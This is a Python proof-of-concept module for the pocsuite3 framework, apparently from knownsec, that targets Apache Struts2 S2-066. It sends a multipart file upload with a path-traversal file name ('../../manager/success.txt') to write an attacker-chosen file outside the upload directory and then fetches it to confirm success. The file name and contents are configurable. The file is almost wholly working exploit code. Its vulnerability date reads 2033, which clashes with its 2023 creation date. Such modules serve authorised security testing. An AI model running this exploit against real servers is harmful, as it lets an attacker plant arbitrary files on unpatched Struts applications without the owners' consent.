from collections import OrderedDict

from pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, requests
from pocsuite3.lib.core.enums import VUL_TYPE
from pocsuite3.lib.core.interpreter_option import OptString


class DemoPOC(POCBase):
    vulID = '99789'  # ssvid
    version = '1.0'
    author = ['knownsec.com']
    vulDate = '2033-12-4'
    createDate = '2023-12-10'
    updateDate = '2023-12-10'
    references = ['https://www.seebug.org/vuldb/ssvid-99789']
    name = 'Apache Struts2 s2-066'
    appPowerLink = ''
    appName = 'Apache Struts2'
    appVersion = 'Struts 2.0.0 - Struts 2.3.37 (EOL), Struts 2.5.0 - Struts 2.5.32, Struts 6.0.0 - Struts 6.3.0'
    vulType = VUL_TYPE.CODE_EXECUTION
    desc = ''''''
    samples = []
    category = POC_CATEGORY.EXPLOITS.WEBAPP
    dockerfile = '''FROM isxiangyang/struts2-all-vul-pocsuite:latest'''

    def _options(self):
        o = OrderedDict()
        o["param"] = OptString('upload', description="上传文件用到的name参数")
        o["filename"] = OptString('../../manager/success.txt', description="上传的文件名称，可以以../目录穿越命名")
        o["filecontext"] = OptString('Upload Success!', description="上传的文件内容")
        return o

    def _verify(self):
        result = {}
        upload = self.get_option("param")
        filename = self.get_option("filename")
        url = self.url.rstrip('/') + f"?{upload}FileName={filename}"
        def_url = self.url.rstrip('/') + f"?{upload}FileName=1.txt"
        if upload is not None and len(upload) > 0:
            upload = upload[0].upper() + upload[1:]
        headers = {
            "Connection": "Close",
            "Content-Type": "multipart/form-data; boundary=3b0bfa1f36cb6157a128f0549a4a7446",
        }

        file_context = self.get_option("filecontext").encode()
        # html = requests.post(self.url, files=files, headers=headers).text
        data = b'''--3b0bfa1f36cb6157a128f0549a4a7446
Content-Disposition: form-data; name="{UPLOAD}"; filename="test.jpg"
Content-Type: text/plain

{CONTEXT}
--3b0bfa1f36cb6157a128f0549a4a7446--
'''.replace(b'{UPLOAD}', upload.encode()).replace(b'{CONTEXT}', file_context).replace(b'\n', b'\r\n')
        requests.post(def_url, data=data, headers=headers)
        requests.post(url, data=data, headers=headers)
        res = requests.get(self.url.rstrip("/") + "/../../manager/success.txt")
        if "Upload Success!" in res.text:
            result["VerifyInfo"] = {
                "URL": self.url.rstrip('/') + f"/{self.get_option('filename')}",
                "info": "Upload Success! "
            }

        return self.parse_output(result)

    def _attack(self):
        self._verify()

    def parse_output(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('target is not vulnerable')
        return output


register_poc(DemoPOC)
